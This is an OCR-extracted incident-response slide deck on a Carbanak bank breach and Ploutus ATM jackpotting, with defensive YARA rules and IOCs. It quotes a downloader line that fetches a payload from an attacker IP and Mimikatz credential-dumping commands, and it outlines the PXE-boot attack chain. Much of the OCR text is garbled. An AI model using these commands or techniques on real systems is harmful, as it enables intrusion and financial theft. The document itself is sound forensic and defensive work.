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Who we are

Andrea Minghiglioni

| work as IR Specialist and Security Consultant in Black Sun IR Team. In my experience | have
managed lot of IR related projects and field activity as Forensic Expert.

My latest engagements have been in Aerospace and Military sector. Previoudly | have been part of IR
Team in the biggest banksin Italy.

Stefano De Falco

| work as Malware Analyst and Security Consultant in Black Sun IR Team.
In my experience | have analyzed a bunch of malware and incidents.

| constantly «keep an eye» in the ICT underground looking for interesting code, exploits and new
strategies of compromise.
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Introduction

APT cases have taught to the cybercriminals how to organize their attacksin a
mor e sophisticated strategy and they have learned quickly and well...

We present a case we have worked recently, where APT techniques have been
exploited by cybercriminalsto breach a bank and steal money from its most
critical infrastructures, the ATMs.

Our presentation will talk about the adversary and the malware used:
SekurSpy Trojan, typical of the specific adversary,

Ploutus, an ATM malwaretailored to act against thistype of platforms.

For the sake of completenesswe will discuss also about the investigative method
and tools we have used to analyze and mitigate the case.
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The Adversary: Carbanak

Carbanak is an infamous crew of cybercriminalsvery activein
Infiltrating financial institutions stealing millions of dollars by
learning and abusing the internals of victim payment processing
networks, ATM networks and transaction systems.

Recently, Carbanak has launched campaigns attempting to:

» Target high level executivesin financial companiesor in
financial/decision-making rolesin the Middle East, U.S. and Europe

» Spear-phishing emails delivering URLS, macro documents, exploit
documents

» Use of Spy.Sekur (Carbanak malware) and commodity Trojans
(RATSs) such as|RAT, Netwire, Cybergate, but also others software
used to support the crew operations.

» Since 2014, Carbanak hasintegrated ATM malware to his arsenal
making the group one of the most threatening for the entire financial

sector.
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ATM malware

ATM malware does not require skimmers or other traditional,
physical tools of old.

Most ATM’s still rely on legacy operating systems (such as WinXP),
mainly due to the costs and low ROI of upgrading.

Unfortunately, it doesn’t come with the more sophisticated security
services that modern application developers now rely on.

Therefore, the ATM applications themselves, and in some cases

the middleware they rely on to communicate, are increasingly
vulnerable.

|n general, the attacks blend the physical and cyber realms, using
accomplices who physically collect the money after the terminal
has been infected and remotely controlled.
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Our Case: The Attack

Thetarget we talk about isan European financial institute.

The attacker has been able to breach the institute through a
targeted attack to one of its subsidiary.

The attacker had been able to sneak into a complex and long
activity of scan and identification of valuable victims among
bank personnel.

The attack relies succeeded because the attacker knows who to
target and how to convince the victims to cooper ate.

The attacker, in fact, send a credible spear-phish email to a
selected number of internal people, mostly involved in non
| T-related activities and he successfully force some of them to
follow the instructions contained in his email.

HISACA.
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The Spear Phishing message

Usually spear phishing mails do not contain
general inviting links and images but are
crafted using a correct grammar and a proper
technical language, depending on the receiver.

The document, “Anti-Money Laundering &
Suspicious cases.doc!” exploits CVE-2015-1770,
to drop and execute a downloader from the

Various versions of the document have the same
payload, exploit the same vulnerability, but are
dlightly different in order to be more difficult to
detect by antimalware software. As a result they

1

client’s temporary folder.

sure have a different hash.

File SHA256: 37e8339b42bb9a8d0abf109eclec27adc6b9fc31a95e95dci72a9aa811f59062
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TOEEEC26-5A01-4B14- AFB6-EAMBE190ADE
acro_rd_dir
avgnt.exe
CBA79FAF-BAGF-410F-9CB0-CO5E684930DC
Skype
wvmware-win10
|J {07ABZDAD-C694-4576-8249-2C3CC200E...
B {B4F3ED25-AEDD-4A32-B%24-A050931614..,
D {AZ5BBFAD-ATFG-4238-B116-8FED2DVDE...
D {A3T12A3A-C309-43C9-AE31-BDES5AD52..,
|:| {DE6461CF-E6TA-4BEG-AC39-TD5TT3834..,
=| AdobeARM.lag
etilgs_EFwWfACTIKTOZAmMa
etilgs_gMNZbOuhDfalysnw
|j msol3A6.tmp
|_1 vminst.log

Type

File folder

File folder

File folder

File folder

File folder

File folder

DAT File

DAT File

DAT File

DAT File

DAT File

Text Document
File

File

TMP File

Text Document



The Spear Phishing message

FILE MESSAGE

Tue 24/11/2015 14:45 PM

New company rules

Hi John,

B : ) : New company rules - Message (HTML)

Jamie Linnestein <jamie.linnestein@itbank.com>

I ¢ (50 )

in the attachment the new company rules. If you can’t open the document, you
can download it at http://www.itbankk.com/rules.doc

Have a nice day!
Jamie Linnestein

@) 5ee more about Jamie Byrom,

The user opens the email and downloads the
attachment or clicksthe link as it seems the

sender is atrusted one.

— Spoofed
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The Spear Phishing message

After exploiting the vulnerability, the document drops the payload into

% TMP%\1B9OD.tmp2.

This payload is a downloader (MSIL/JScript), a MSIL packed executable (PE) that utilizes the
Microsoft JScript library to retrieve the hardcoded HTTP location and then executes the
downloaded payload using WScript.Shell.

In thiscase it retrieved the second-stage payload Spy.Sekurs3 from http://78.128.92.49/blesx.exe.

Blesx.exerevealsitsalf as Carbanak installer.

(51520
aaca
Bac1
BACAH
Bace
Bapa
aap1
aeDs
Ban?
aaDge
aapD
BBDE
BBE3
BBESR
BBED
aer2
B8F3

ldstr aWlinhttp_winhtt 7/ "WinHttp._WinHttpRequest.5. 1"

stelem.ref // Replace array element at index with the ref value on the stack

call instance object [Hicrosoft.JScript]Microsoft.JScript.fActiveXObjectConstructor::Createlnstance{object[])
stsfld object ‘JScript @8'::r // Store a static field of a class

call class [Microsoft._ JScript]Hicrosoft.JScript.ActiveX0bjectConstructor [Wicrosoft.JScript]Microsoft.JScript
ldc.is .1 f/ Push 1 onto the stack as I4

newart  [mscorlib]System.0bject // Create a zero-based, one-dimensional array

dup // Duplicate value on the top of the stack

ldc.ik.B // Push B onto the stack as I4

ldstr aScripting_file // "Scripting.FileSystemldbject™

stelem.ref // Replace array element at index with the ref value on the stack

call instance object [Hicrosoft.JScript]Hicrosoft._JScript.fctiveXObjectConstructor::Createlnstance{object[])
stefld object 'JScript B'::fs // Store a static field of a class

ldstr alHttp78_128_92_ 7/ "http://78.128.92 _49/blesx.exe”

stsfld object 'JScript B8'::u // Store a static field of a class

ldc.ik.é // Push 6 onto the stack as I4

newarr  [mscorlib]System.Object // Create a zero-based, one-dimensional array

2 File SHA256: (73259c6eacf212e22adb09564 7b6ae345d42552911ac93cdf 81a3e2005763e74 )

File SHA256: (04e86912d195d9189e64d1ce80374bed3073b0fch731f3f403822a510e76ebaa )
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The infection stage

The document draps the payload into

T IMP% \IBF0 tmp after exploiting the
vulnerability. Then the payload downloads

- ==y ) bleskexe
() [ > Mescious Document ~[og ) Feon ent Al
Orgenize = Inchudeinbbrasy *  Sharewith »  Bum  Newfoldes - i @
o g Npme : Date moddied Trpe Sizn
I Desitop S Anti-Money Laudening & Suspicious casendoc 57172005 11:52 AM  Mizrosodt Word 9. 351 KB
B Downloads
1 Recent Places
- Ubviously the attachment is g fake document
B 2osees studied to exploit the vulnerability and start the
8 infection with a malicious code. 3
Videos ?
8 Computer ;yz.nmezzﬁ;lte.m.lc T‘I iy uh;: 32:"3&5:;:.2'9":}.4,;;( Lenead
¥ Nctwork l
j 1 item /
7’
7’
”

The victim asks
(unknowingly) and receives
Win3Z Spy.Sekur
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The infection stage

Attachment
"Anti-Money Laundering
executed
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Spy.Sekur is decoded and
executed through its dropper
process

Phase2 ™

"mso13A6.tmp" downloads
"blesk.exe" (Spy.Sekur)

Spy.Sekur injects “"svchost.exe”
process and copies itself inside
“%ProgramData%/Mozilla/

Phaseb

svchost.exe”



Infection final stage

The attacker has now a small set of compromised machinesto start
with.

From the controlled machines, three laptops, the attacker started to
enumerate the internal infrastructure.

To expand his capabilities and intrusion spectrum, the adversary now
started to upload his arsenal of toolsinside the perimeter of the
bank through Webshells.

ﬁ— -~ The adversary successfully exploited a
public php server (CVE-2015-4642) and
Implanted a webshell allowing him to
upload the tools.

&

The adversary
transformed the server
in adropzone
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Password dumps and lateral movements

Naw the attacker leverages on
the drapzone to distribute his
tools in other machings he
reaches via FOP
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Unce the attacker has obtained
administrator credentials he
started to move laterally inside
the Network.
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Password dumps

After the attacker uploaded some tools to the infected machine, he
uses Mimikatz to gain cached credentials.

The two commandsin
theimage arerequired to
— e every logged user’s
credentials.

£y mimikatz 2.1 %86 (oe.eq)

mimikatz # privilege::debug
Privilege 'Z28° 0K

mimikatz # sekurlsa::logonpasswords

@) mimikatz 2.1 x86 (oe.c0) e B [

ication Id = B ; 259139 (HHEEEEO0:BBB3f443>
H Interactiue from 1

'.JIN H1FCOK3617E
: I

Among the reSJ|tS, We % an aCCOU nt g 22 i:;:er g/;/éaég i%7§$23881 —1388416431-3932073%964-1008

[BBBBBBB:}] P 1ma1y

“nome_utente” using “123p4$$wOrd1!” d e .

: £ffA643c416004f5ae2bdf 4c447becboe3
: 74Be@7cdf3118bc32df5eA?281a75658

to |Og| n : 1af85hah?38977cc95has5d8cah32@55e428a42d

: nome_utente
- I
: 123P455uBrdi?

E nome_utente
nome_utente

HSACA
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Exfiltration Stage

Then the attacker owns the internal
network and is able to start the exfiltration

of most interesting data At this point fie is capable of defining
where and how to exfiltrate the files
to an externally owned repository

He moves the data internally to controlled
machines with external connections

Point of
extraction
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Bingo! Stage

Naw the attack shifts to
different targets. It escalates

tn a specific area of the
target netwark: the ATH WAN.

+ISACA
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Jumpbox

Through lateral movements the attacker reaches the Jumpbox
used to manage AIM networks reachable just from specific
hosts.
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Bingo! Stage... problems...

 Now the attacker has a couple of problems.

* To upload malware he needsto allow direct access from the
ATM network to an internal dropzone where he has dropped
ATM tools. The Jumpbox he has reached does not allow file

transfer.
 How to infect the machines with a malware that requiresto run

a “patched Windows Operating System” without the support
from an insider accomplice?

Dropzone

How to force
remote load of a
patched Windows
0s?

NEEON MEEADR SraTE Loa 8 e o
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Bingo! Stage: Solution 1

The attacker identifies the ATW
management VIAN

ATM
| Jumpbox

L2 Switches

He collects credentials of
Network Admins from NOO

#m CA machines

Carbanak 19
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Bingo! Stage: VLAN modification

The attacker decide to change the VLAN of the Dropzone server once he has
solved the second problem...

He isready to move the Dropzone server to the ATM network and bridgeit to
the terminals.

Dropzone

Data Center
L2 Switches
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Bingo! Stage: Solution 2

* To solvethe problem of run a patched OS, the adversary
decidesto go for PXE boot.

e That allowsthe attacker to reboot remotely the ATM and
forcethe load of the patched OS without the help of
Insiders...

 He configuresthe PXE Server and drops the patched OS
Including Ploutus Trojan.

Attacker configure PXE TFIP server
on the Internal Oropzone server
~
16

V4 Dropzone

R
s O

Rebooting an ATM resultsin
the system PXE booting to load
its OS.

If the reboot is successful and the PXE server
sends the OS the result isa fully patched and
infected ATM terminal

Once the system is back
on, if an accompliceis
in front of it and hasthe
proper pincode he can
pilot the ATM to give

+ISACA s
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The PXE...

Preboot Execution Environment (PXE), is used to boot a
computer with an ethernet network connection and a support
server. It doesn’t need a disk, a cdrom, a pendrive or a dvd.

The protocol can be implemented through:

> IP

> UDP

> DHCP
> TFTP

vsianN miaTAbY Srams LouTa @ irame e
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PXE Booting
Chent 1

Aﬂ

PXE Booting
Clhent 2

DHCP/TFTP
PXE Server
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Two anomalies...
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ﬂﬂﬂﬂﬂﬂﬂﬂ

The attack started on April 2015.

The ATM fraud started on September 2015.

But in July a Third-Party Security company inform the
bank of the presence of Webshell in one public server.

The bank opened an internal investigation that confirmed
the presence of webshell, but they don’t investigate further.
The adversary has already removed part of hisarsenal and
the strange Windows XP |1 SO file they discover was not
properly classified as dangerous.

The second anomaly came from the local police forces that
have jailed two young men that were empty an ATM without
even a credit card.

Under interrogation, the young men just tell they have been
Instructed to go for a specific bank and with a specific code

collect all the money.

Carbanak
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The internal investigation results

.3 8 irarme walore
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ATM was selzed and surprisingly the machine was infected
by Win32.Ploutus.

The machine has been extensively investigated for the
presence of any sign of insider actions against the device,
but nothing arise.

The Security team started investigating other claims coming
from branches that report ssimilar frauds without signs of
physical breaches.

At this point they decide to wide the investigation requesting
external support.

Carbanak
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Our investigation

* Theinvestigative methodology we use, as|R Team, is based
on Actionable | OCs (Al OCs).

o To build AlIOCs, we employ a systematic approach that relies
on the synergy of network and host visibility with log and
malware analysisin order to identify key indicators that can
be formalized and stored in an organized knowledge base for
rapid reuse during subseguent investigations.

» The knowledge base aggregates the Actionable 1 OCs,
otherwise they remain atomic indicators, to build actor attack
profilesthat can be quickly applied to investigationsin order
to streamline response efforts and give non-circumstantial
evidence towards attribution of malicious actors.

e Succeed in arapid attribution during the early stages of an
Incident investigation can significantly lower thetime
required to resolve the case.

HISACA.
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Our investigation

What's reliable and what not...

* Our investigation started in parallel performing host forensic on the ATM and
malware analysis.

* Meanwhile we have requested enhanced network visibility with a full packet capture
solution collecting traffic on all Internet facing areas.

N_e_tvx_/c_)rk Network, system
visibility  paware and log Triage planned from
/ visibility indicators. a tailor(_ad set of
{ Classification and strategic actions.
| Network =S
| IR | attribu i
. Forensic |

Host IR
Forensic

Triage
Strategy

Malware
Angzlysis

Anomaly
detected

Logs
Analysis

Incident
System surface.
visibility

+ISACA
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Actionable 10Cs

.3 8 irarme walore
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In our approach, the malware analysisis a key element to
generatereliable | OCs because it isthe moment when the
artifacts discovered in the compromised systems can “talk” to
the analyst and presents the indicatorsthat are needed to
measure the extension and the goal of the actual attack.
There are several | OCs that could be extracted from a good
malware analysis process and | am not assuming this means
necessarily to reverse engineer the malware.

Even a ssimple Yara rule that allows the analyststo perform a
file sweep on the entire segment of a network or an entire
enterprise could be enough.

The most important aspect to transform atomic | OCs to
Actionable | OCs is the formalization process, made through
comparison with the consolidated KB, lab analyses and peer
review.

Carbanak
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Malware analysis process to build AIOCs

Formalization Process
(KB checks, Lab analyses and peer

2 . Encryption check I’G\/IAEW)
giromah i __ l \

'8, Atomic IoCs ‘ 9. Actionable IoCs ”

* 1, 'Hash check

" 3, 'Unpacking

" 4 Strings Analysis

5, Sandbox Analysis

6 . Analysis on Dump

" 7, Debug/Disassemble

SETEnN MISTADE AFATE LOUCia 8 irame waloes
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Our investigation

HISACA.

During the earliest stage of investigation we just have logs
and we immediately suspect the breach of the Jumpbox
between the ATM network and the bank I ntranet.

We started the analysis on that system by looking for artifacts
and suspicious log accesses.

We discover no bruteforce of password or similar activities,
but a significant number of logon during off-work hours
from other internal machines.

Theresulting list of hosts used to access the Jumpbox has
been seized and forensically analyzed.

After the distribution of ECAT in the environment we
discover the presence of Mimikatz in several key serversand
the presence of Win32.Sekur.Spy

That tells us about Carbanak.

Carbanak



Win32.SecurSpy analysis

FAADY, AFATE LT3 8 irame waloee
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Oncethe vector fileis opened (in our case Word document attached to the
email), the vulnerability (CVE-2015-1770) is exploited.

The payload is then written into the “1B9D.tmp” file, which performs the
function of downloader. This downloader uses the Microsoft Jscript library
to find the HTTP address contained inside the maliciousfiles.

The hardcoded link will drop the second stage payload called “blesx.exe”.
This executableis a self-extracting installer ( NSIS).

JScript 8.fs = GlobalObject.ActiveXObject.CreateInstance(new

{
"Scripting.FileSystemObject”

1)

JScript @.u = "http://78.128.92.49/blesx.exe”;

The main function of this installer is to call “System.dIlI”” that will execute
“stole.dll”’. The function of “stole.dll”” decodes and executes Blesx.exe.

+SACA

st !

Carbanak

30



Win32.SecurSpy analysis

* Now “Dblesx.exe” can proceed to inject the “svchost.exe”
process, and then it copies the payload inside a common
directory:

“%AppData%\Mozilla\svchost.exe™

* In the samedirectory Carbanak createsa file with a random
name and a ““.bin” extension, where it stores commands to be
executed.

 The malware analysis has permitted to identify precisely the
variant of the malware and to develop atomic | OCs, refined
and formalized during therest of the investigation. These
al OCs allowed usto discover other infected machines.

* In the end we unearthed the way the attacker moves laterally
and accesses other internal systemswithout installing more
malware.

.3 8 irarme walore
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YARA RULES: WIin32.SpySekur

rule Win32.SpySekur {

Blesx.exe uses NI S
— gystem (Nullsoft

Scriptable Install

strings:
$s1 = "\Temp" wide ascii
$s2 = "Nullsoftinst” wide ascii €
$s3 = "MoveFileExA" wide asCii

$s4 = "GetTempFileNameA" wide ascii

System) whichisa
script-driven installer.

condition:
all of them
/I MZ signature at offset 0 and ...
uint16(0) == 0x5A4D and
/Il ... PE signature at offset stored in MZ header at 0x3C
uint32(uint32(0x3C)) == 0x00004550

__ Thisfunction is used
to move an existing
file or directory

\

Used to create a name
for atemporary file

SIRON MPSETEDY aFams Hout'a @ irarme walore
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Investigation

HISACA.

By applying the Al OCs to the whole environment we have
Identified not only the infected machines but a number of
services and user accounts fallen into the hand of the
adversary.

Looking to RADIUS logs we discovered some logon to
Internal devices (switches), made in off-work time.

Widening the analysis, we have been able to identify the
reason for the reported switch management access. the
ATM circuit.

Carbanak
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VLan changes

Reiterating the search in the switches configuration management
tool we discover that, in several cases, the Data Center switches
between the Dropzone server (still unknown to us) and the ATM
management VLANS have been restored from previous
configurations.

Diff of /.

b Parent Drectory | ¥ Ravision Log | B _Patch

revision 1.12 by rancid, Thu Sep 24 23:01:54 2018 B5T revision 1.13 by rancid, Thu Sep 24 23:54:20 2015 B5T
f Line 1 Line 1
L
2 ! |
3 ! Lact configurafion chance ol 22:01:54 UTC Thu Sep 24 2015 by ! Lect configurafion chance a: 22 8: 20 UTC Tha Sco 24 2015 by
1 THVRAY conlig ldslupddled 4l 22.30018 UTC =i Aug 142015 by THVRAY conlig laslupdaled 4122.30018 UTC = iAug 142013 by
3 ! !
3 wersion 12.2 wersion 12.2
r PET3A AT CACEE IFTRITATR PEMSAN MM GACrE FTRMATR
# Ling 122 interface GigabitTtherret1/0/43 Line 122 interface GigabitTthemet1/0/43
27 ! !
2 INersce E1gabitkineriz: /44 INEr=CE LS1gaBiEInere: /1/a4
24 descripion ir=ar01.tz dezzripion ir=ar01.tcs
SWIEINOM Access vian 137
L] SWItCI0o tunk encapsulation dot1g SWItC 00 runk encapsulaton dat1qg
2C switcioorttrunk allowec vlan none switchoorttrunk allowec vlan 66 122 402
27 SWIE A0 MAcE rne SWIEnOT Moce e
28 ! !
< inlerzce GigabitEtheryz: /045 inlerzce GigabitEtherz
3 Ling 189 intarface Gigakbitstherret1/0/50 Ling 158 intarface Gig: emret!/C/50
inlerzce GigabitCiheriz” inlerzce GigakitCiher
s iy o - desCiipivn
gwitchoorttunk encapsulation dotig gwitchzort trunk encapsulation dotdg
switcaoorttunk allowed vlan 122 40z switciporttrunk allowec vlan 21,C€122 202
AW 00T MOcE rne SWIT0AT Moce e
daley 20 decy 0

Cclored Diff [=] [shew] |Locgord:
Removed Tome.1.12
changed lNes
Addedinv.1.12

ST
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PXE Boot

116 129. 841039000
117 129. 849838000
118 129.895921000
119 129.895937000
120 129. 896055000
121 129.911808000
122 129.912385000
123 129.914350000
124 129.914460000
125 129. 914664000
126 129.916843000
127 129.917034000
128 129.924133000
129 129.924341000
130 129.924462000
131 129.924886000
132 129.924941000
133 129.925357000
134 129.925412000

135 129.925841000
136 129.925892000

0.0.0.0
192.168.217.3

08:00:0e:32:48:37
00:1e:67:00:31:32
192.168.217.
192.168.217.
192.168.217.
192.168.217.
192.168.217.
192.168.217.
192.168.217.
192.168.217.
192.168.217.
192.168.217.
192.168.217.
192.168.217.
192.168.217.
192.168.217.
192.168.217.
192.168.217.
192.168.217.

(SR, ROVRE R SV RV RVVR RPE L RO RPTRE R

255.255.255.-255
253.255.255.255
Broadcast
08:00:0e:32:48:37
192.168.217.3
192.168.217.5
192,168.217.3
192.168.217.5
192.168.217.3
168.217.3
192.168.217.5
192.168.217.3
192.168.217.5
192.168.217.3
192.168.217.5
192.168.217.3
192.168.217.5
192.168.217.3
192.168.217.5
192.168.217.3
192.168.217.5

DHCP
DHCP
ARP

ARP

DHCP
DHCP
TFTP
TFTP
TFTP

TFTP
TFTP
TFTP
TFTP
TFTP
TFTP
TFTP
TFTP
TFTP
TFTP
TFTP

590 DHCP Request
342 DHCP ACK

Thanks to the previous VLAN change discovery and using a full
packet capture platform, we have been able to identify the way the
attacker infected the ATMs: the PXE boot.

- Transaction ID OxZac43127
- Transaction ID 0Ox2ac43127
60 who has 192.168.217.37

Tell 192.168.217.5

42192.168.217.3 is at 00:0c:29:32:48:37

590 DHCP Request
1066 DHCP ACK

i Frame 125: 83 bytes on wire (664 bits), 83 bytes captured (664 bits) on interface 0
@ Ethernet II, Src:08:00:0e:32:48:37(08:00:0e:32:48:37), Dst:00:1e:67:00:31:32(00:0c:29:32:48:37)

@ Internet Protocol Version 4, Src: 192.168.217.5 (192.168.217.5), Dst: 192.168.217.3 (192.168.217.3)

@ User Datagram Protocol, Src Port: 2071 (2071), Dst Port: 69 (69)
@ Trivial File Transfer Protocol

0000 00 1le
0010 00 45
0020 d9 03
0030 5c 78
0040 6f 63
0050 35 36
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67 00 31 32 08 00
00 05 00 00 14 11
08 17 00 45 00 31
38 36 5c 77 64 73
74 65 74 00 62 6C
00

Carbanak

32 48 37 08 00 45
49 c0 a8 d9 05 c0
c8 00 01 62 6f 6f
62 70 2e 63 6f 6d
73 69 7a 65 00 31

00
a8
74
00
34

il Bl il book
\x86\wds nbp.com.
octet.bl ksize.14

36.

- Transaction ID Ox2ac43127
- Transaction ID 0Ox2ac43127
78 Read Request, File: boot\x86\wdsnbp.com, Transfer type: octet, tsize\000=0%000
56 Ooption Acknowledgement, tsize\000=31124\000
60 Error Code, Code: Not defined, Message: TFTP Aborted
83 Read Request, File: boot\xB6\wdsnbp.com, Transfer type: octet,
57 Option Acknowledgement, blksize\000=1456%000
60 Acknowledgement, Block:
1502 Data Packet, Block: 1
60 Acknowledgement, Block:
1502 pata Packet, Block: 2
60 Acknowledgement, Block:
1502 pata Packet, Block: 3
60 Acknowledgement, Block:
1502 Data Packet, Block: 4
60 Acknowledgement, Block:
1502 Data Packet, Block: 5

0

1

2

bTksize\000=1456\000

Malware Ploutus uploaded
to the terminal via PXE boot
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WIin32.Ploutus

The ATM malware

TrojanSpy:ATM/Backdoor.Ploutus was one of the first ATM malware variants
to be publically disclosed. Traditionally, this malware required physical
access to the ATM in order to be installed, however if the attacker had the
opportunity to remotely access the operating system from internal banking
network segments the malware could also be installed remotely.

In our case, the attacker has been able to recompile Ploutus source to be
able to adapt it to the specific environment.

Still, with the help of money mules, it has been able to steal money and
collect Credit Card information about Bank customers that have used the
ATM device in the hours before the robbery.

The mule in fact, has collected the codes thanks to the ATM itself.

HISACA

Rome Chapter
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Investigation: ATM Malware

st !
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In general Win32.Ploutus family relies on physical installation of the
malwarevia USB driversor CDRom, but in this case it has been
transferred and installed via PXE boot.

The malware has a modified network packet module that receives the
TCP/UDP packets and (if valid) executes commandsforcing the
machine to immediately dispense cash.

I n fact, the only other information needed was the PIN of the ATM
card that the camera discovered by the Police was assumed to collect
and report to the attacker.

| n the cases where the Remote Desktop Protocol (RDP) is used, the
malware can be managed via TCP or UDP packets. The amount of
cash dispensed is often pre-configured in the malware, and the cash is
often collected using money mules.

Also the attacker, thanks to this malware, has been able to collect
transaction codes of ATM cards used in the infected terminals,

allowing it to clone the cards.
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AlOCs: Ploutus

rule Ploutus.A {
strings:
$s1 = "PloutusService.exe" wide ascii
$s2 = "Confuser v1.9.0.0" wide ascii
condition:
all of them and
Il MZ signature at offset 0 and ...
uint16(0) == 0x5A4D and
Il ... PE signature at offset stored in MZ header at 0x3C
uint32(uint32(0x3C)) == 0x00004550

}

rule Ploutus.B {
strings:
$s1 = "Ploutus" wide ascii
$s2 = "Confuser v1.9.0.0" wide ascii
condition:
all of them and
/I MZ signature at offset O and ...
uint16(0) == Ox5A4D and
/... PE signature at offset stored in MZ header at 0x3C
uint32(uint32(0x3C)) == 0x00004550
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Our Case: ATM jackpot Stage

ATM Machine

VLAN Change

192.168.217.3

Branch Office i

10.10.10.0/24

Internal Dropzone
TFTP Server

s

~

2.

_—

192.168.3.30

-
.

9.‘ ©
192.168.3.0/21

Central Office

" éﬁ

<
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M2 Qur Case: ATM jackpot Stage

ATM Machine

192.168.217.5 PXE Boot I

- . oy,

command

192.168.217.3

Internal Dropzone

_— [ ] [ - s
L I w -
. ml .
‘ Sends reboot ‘

s

Branch Office i

10.10.10.0/24

~

2.

-_y

‘ -
. @ 192.168.3.30 "'

g‘ 0
192.168.3.0/21

Central Office
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Incident Timeline and Stats

We started our
Investigation at
this point

Initial ATM
compromise

AlOCs applied
to triage

/

fHMCAA Initial triage

VETRON MPSTEDK aFTe LUca @ irame waloes
Rome Chapter
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Peak of frauds recorded

4

Final triage managed
by our Team
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Conclusion

With the end-of-life for Windows XP, the banking industry is

grappling with therisk of cyber-attacks aimed at their aging
ATM fleet.

Cybercriminals are targeting ATMswith increasingly
sophisticated techniques. Initially the attacks required physical
access to the machine, or assistance from a user or device with
access to the ATM network.

However, the attacks have evolved considerably, now leveraging
RDP and FTP communications. The only physical access now
required with current ATM malware iswhen the criminals (or
mules) collect the cash.
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Contatti

e andrea.minghiglioni@bsfactory.net
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